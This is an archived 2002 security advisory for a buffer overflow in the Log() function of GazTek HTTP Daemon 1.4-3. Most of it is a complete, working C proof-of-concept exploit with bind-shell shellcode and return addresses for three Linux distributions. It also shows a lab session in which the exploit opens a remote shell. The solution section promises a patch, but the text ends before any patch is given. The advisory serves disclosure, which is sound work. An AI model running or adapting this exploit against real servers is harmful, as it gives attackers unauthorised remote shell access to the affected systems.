TUCoPS :: Web :: Servers :: web5750.htm

GazTek HTTP Daemon Overflow
15th Oct 2002 [SBWID-5750]
COMMAND

	GazTek HTTP Daemon Buffer Overflow

SYSTEMS AFFECTED

	GazTek HTTP Daemon v1.4-3

PROBLEM

	In Apm, flea, thread of PYR/\MID, Research Project [100702] advisory :
	

	Ghttpd server contains a  remotely  exploitable  buffer  overflow  which
	allows an attacker to gain ghttpd's previleges.
	

	The overflow occurs when a long "GET <buffer>" query is  sent  trough
	a session and this is logged by the function Log():
	

	  protocol.c:103:

	  Log("Connection from %s, request = \"GET %s\"",

	       inet_ntoa(sa.sin_addr), ptr);

	

	While executing the Log() function a buffer is copied  without  checking
	boundries resulting in a buffer overflow:
	

	  util.c:208: void Log(char *format, ...)

	  util.c:213: char temp[200], temp2[200], logfilename[255];

	  util.c:219: vsprintf(temp, format, ap);

	

	This flaw was detected in the  latest  ghttpd  version(1.4-3)  but  it's
	likely that the problem exists in previous  versions  as  well,  altough
	this was not tested.
	

	A proof of concept exploit was  coded  for  ghttpd  servers  running  on
	"i386 RedHat 7.3 Linux", "i386 RedHat 7.2  Linux"  and  "i386  Slackware
	8.1" operating systems.
	

	[root@testlab httpd]# uname -a

	Linux testlab 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown

	[root@testlab ghttpd]# cat /etc/issue

	Red Hat Linux release 7.3 (Valhalla)

	

	[root@testlab httpd]# ls -al ghttpd

	- -rwxr-xr-x    1 nobody   nobody      34687 Sep 27 02:04 ghttpd

	

	[root@testlab httpd]# id

	uid=0(root) gid=0(root) groups=0(root),

	1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

	

	[root@testlab httpd]# ./ghttpd

	[root@testlab httpd]# ghttpd launched into background, PID = 851

	

	[root@testlab httpd]# ./PRPghttpd -b 127.0.0.1

	Server: GazTek HTTP Daemon v1.4

	

	[flea@testlab httpd]$ ./PRPghttpd -d 0 127.0.0.1 127.0.0.1

	target: 127.0.0.1

	arch id: 0, GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux, 0xbfffb9c0

	ip size: 9 bytes

	Adjust: 0 bytes

	buffer size: 204 bytes

	bind shellcode size: 128 bytes

	bind shell tcp port: 36864

	Injecting code at 0xbfffb9c0...

	Done!

	

	[flea@testlab httpd]$ telnet localhost 36864

	Trying 127.0.0.1...

	Connected to localhost.

	Escape character is '^]'.

	id;

	uid=99(nobody) gid=99(nobody)

	groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

	: command not found

	

	 

	

	 Exploit :

	 =======

	

	

	/* PRPghttpd.c

	

		This program is free software; you can redistribute it and/or

		modify it under the terms of the GNU General Public License

		as published by the Free Software Foundation; either version 2

		of the License, or (at your option) any later version.

	

		This program is distributed in the hope that it will be useful,

		but WITHOUT ANY WARRANTY; without even the implied warranty of

		MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

		GNU General Public License for more details.

	

		You should have received a copy of the GNU General Public License

		along with this program; if not, write to the Free Software

		Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA

		02111-1307, USA.

	

		-

	

		PYR/\MID, Research Project

		Author: flea

		Date: October 7, 2002

		Members: Apm, flea, thread

	

		Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3

	

		Works on:

		i386 Redhat 7.2

		i386 Redhat 7.3

		i386 Slackware 8.1

	

	*/

	

	#include <stdio.h>

	#include <stdlib.h>

	#include <string.h>

	#include <unistd.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <netinet/in.h>

	#include <arpa/inet.h>

	

	#define NOP                     0x90

	#define MIN_BUFFER_SIZE		198

	#define MAX_IP_LENGHT		15

	#define GAZTEK_PORT		80

	#define BIND_PORT               36864

	

	void synops(char *argv[]);

	int main(int argc, char *argv[]);

	void get_ban(char *ban_addr);

	

	#define ARCH_NUMBER		4

	

	struct arch {

		int id;

		char *os;

		long addr;

		int adjusted_buf;

	} architectures[] = {

				{0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0},

				{1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0},

			     	{2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1},

			        {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32}

			     };

	

	char bindshell[] =

	        "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"

	        "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"

	        "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"

	        "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"

	        "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"

	        "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"

	        "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"

	        "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"

	        "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";

	

	void synops(char *argv[])

	{

		int i;

	

		printf("PYR/\\MID, Research Project 02\n");

	        printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n");

	        printf("SYNOPS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n", argv[0]);

	        printf("<ip>            - ip address to check lenght\n");

	        printf("<remote>        - remote target ip addr\n");

	        printf("<arch>          - remote architecture id\n");

	        printf("<banner>        - ip addr to check banner\n\n");

		printf("Architectures id:\n");

	

	        for(i=0; i<ARCH_NUMBER; i++)

	        	printf("\t%d, %s, 0x%x\n", architectures[i].id, architectures[i].os, architectures[i].addr);

	

		exit(0);

	}

	

	void get_ban(char *ban_addr)

	{

		int i, sock_fd;

		char *read_buf, *read_buf_toked, *ptr;

		struct sockaddr_in target;

	

		if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)

		{

			printf("socket() error.\n");

			exit(-1);

		}

	

		target.sin_family = AF_INET;

		target.sin_port = htons(GAZTEK_PORT);

	

		if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)

		{

			printf("\"%s\" is an invalid ip address.\n", ban_addr);

			exit(-1);

		}

	

		bzero(&(target.sin_zero), 8);

	

		if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)

		{

			printf("connect() error.\n");

			exit(-1);

		}

	

		if((write(sock_fd, "HEAD HTTP /\n\n", 13)) == -1)

		{

			printf("write() error.\n");

			exit(-1);

		}

	

		read_buf = malloc(256);

		read_buf_toked = malloc(256);

	

		if((read(sock_fd, read_buf, 256)) == -1)

		{

			printf("read() error.\n");

			exit(-1);

		}

	

		strcpy(read_buf_toked, read_buf);

		ptr = strstr(read_buf_toked, "Server");

		ptr = strtok(ptr, "\n");

	

		printf("%s\n\n", ptr);

	

		printf("****** FULL HEADERS ******\n");

		ptr = strtok(read_buf, "\n");

	

		for(i=0; i<4; i++)

		{

			ptr = strtok(NULL, "\n");

			printf("%s\n", ptr);

		}

		printf("****** FULL HEADERS ******\n");

		exit(0);

	}

	

	main(int argc, char *argv[])

	{

		int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0;

		char *addr, *get_buf, *get_buf_str;

		long ret;

	

		extern char *optarg;

		extern int optind, optopt;

	

		struct sockaddr_in target;

	

		if(argc == 1)

			synops(argv);

	

		while((c = getopt(argc, argv, "b:d:")) != -1)

		{

			switch(c)

			{

				case 'b':

					addr = malloc(strlen(optarg));

					strcpy(addr, optarg);

					ban_chk++;

					break;

				case 'd':

					if(!(argv[optind]))

						errflg++;

					if(!(argv[optind+1]))

						errflg++;

					if(errflg == 0)

					{

						if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1))

						{

							printf("Invalid architecture id.\n");

							exit(-1);

						}

	

						if((inet_addr(argv[optind])) != -1)

							ip_lenght = strlen(argv[optind+1]);

						else

						{

							printf("\"%s\" is an invalid ip address.\n", argv[optind]);

							exit(-1);

						}

						addr = malloc(strlen(argv[optind+1]));

						strcpy(addr, argv[optind+1]+1);

						exp_flg++;

					}

	

					break;

				case ':':

					errflg++;

					break;

				case '?':

					errflg++;

			}

		}

	

		if(errflg > 0)

			synops(argv);

	

		/* check banner info */

		if(ban_chk > 0)

			get_ban(addr);

	

		if(!(exp_flg))

			synops(argv);

	/*

	        Buffer Size Craft Relation

	        min string size                    = 192 bytes

	        string "GET _" size                =   4 bytes

	        max log ip size "255.255.255.255"  =  15 bytes

	        string "\n\n" size                 =   2 bytes

	                                           = 198 bytes

	                                                        */

		/* dont count with GET request and newline bytes */

		c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));

		/* NULL string byte */

		c_size = c_size+1;

	

		/* builds crafted buffer */

		get_buf = malloc(c_size);

		/* counts with all constants sizes */

		get_buf_str = malloc((c_size+4+2));

	

		memset(get_buf, NOP, c_size);

		memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell));

		*(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;

		get_buf[c_size-1] = '\0';

	

		/* final buffer, now just inject on connection */

		sprintf(get_buf_str,"GET %s\n\n", get_buf);

	

		/* infos */

		printf("target: %s\n", addr);

		printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr);

		printf("ip size: %d bytes\n", ip_lenght);

		printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf);

		printf("buffer size: %d bytes\n", strlen(get_buf_str));

		printf("bind shellcode size: %d bytes\n", strlen(bindshell));

		printf("bind shell tcp port: %d\n", BIND_PORT);

		printf("Injecting code at 0x%x...\n", architectures[arch_id].addr);

	

		/* start socket() */

	

	        if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)

	        {

	                printf("socket() error.\n");

	                exit(-1);

	        }

	

	        target.sin_family = AF_INET;

	        target.sin_port = htons(GAZTEK_PORT);

	

	        if((target.sin_addr.s_addr = inet_addr(addr)) == -1)

	        {

	                printf("\"%s\" is an invalid ip address.\n", addr);

	                exit(-1);

	        }

	

	        bzero(&(target.sin_zero), 8);

	

	        if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)

		{

	                printf("connect() error.\n");

	                exit(-1);

	        }

	

	        if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)

	        {

	                printf("write() error.\n");

	                exit(-1);

	        }

	

		printf("Done!\n");

	

	return 0;

	}

	

SOLUTION

	 Temporary Patch

	 ===============

	

	Another similar bug affects the Log() function, so  here's  a  temporary
	fix for both.
	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH